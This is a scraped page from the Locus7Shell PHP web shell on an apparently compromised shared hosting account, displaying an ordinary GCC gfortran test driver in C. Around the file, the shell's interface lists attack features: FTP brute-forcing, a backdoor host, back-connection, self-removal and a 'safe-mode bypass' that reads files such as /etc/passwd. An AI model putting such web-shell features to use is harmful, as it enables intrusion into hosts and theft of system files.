Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gfortran.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     c_f_tests_driver.c (1.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
extern void abort(void);

typedef struct myCDerived
{
   int cInt;
   double cDouble;
   float cFloat;
   short cShort;
   void *ptr;
}myCDerived_t;

#define DERIVED_ARRAY_LEN 10
#define ARRAY_LEN_2 3
#define DIM1 2
#define DIM2 3

void testDerivedPtrs(myCDerived_t *cDerivedPtr,
                     myCDerived_t *derivedArray, int arrayLen,
                     myCDerived_t *derived2d, int dim1, int dim2);

int main(int argc, char **argv)
{
   myCDerived_t cDerived;
   myCDerived_t derivedArray[DERIVED_ARRAY_LEN];
   myCDerived_t derived2DArray[DIM1][DIM2];
   int i = 0;
   int j = 0;

   cDerived.cInt = 1;
   cDerived.cDouble = 2.0;
   cDerived.cFloat = 3.0;
   cDerived.cShort = 4;
/*    cDerived.ptr = NULL; */
   /* nullify the ptr */
   cDerived.ptr = 0;

   for(i = 0; i < DERIVED_ARRAY_LEN; i++)
   {
      derivedArray[i].cInt = (i+1) * 1;
      derivedArray[i].cDouble = (i+1) * 1.0; /* 2.0; */
      derivedArray[i].cFloat = (i+1) * 1.0; /* 3.0; */
      derivedArray[i].cShort = (i+1) * 1; /* 4; */
/*       derivedArray[i].ptr = NULL; */
      derivedArray[i].ptr = 0;
   }

   for(i = 0; i < DIM1; i++)
   {
      for(j = 0; j < DIM2; j++)
      {
         derived2DArray[i][j].cInt = ((i*DIM1) * 1) + j;
         derived2DArray[i][j].cDouble = ((i*DIM1) * 1.0) + j;
         derived2DArray[i][j].cFloat = ((i*DIM1) * 1.0) + j;
         derived2DArray[i][j].cShort = ((i*DIM1) * 1) + j;
/*          derived2DArray[i][j].ptr = NULL; */
         derived2DArray[i][j].ptr = 0;
      }
   }

   /* send in the transpose size (dim2 is dim1, dim1 is dim2) */
   testDerivedPtrs(&cDerived, derivedArray, DERIVED_ARRAY_LEN,
                   derived2DArray[0], DIM2, DIM1);
   
   return 0;
}/* end main() */


Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--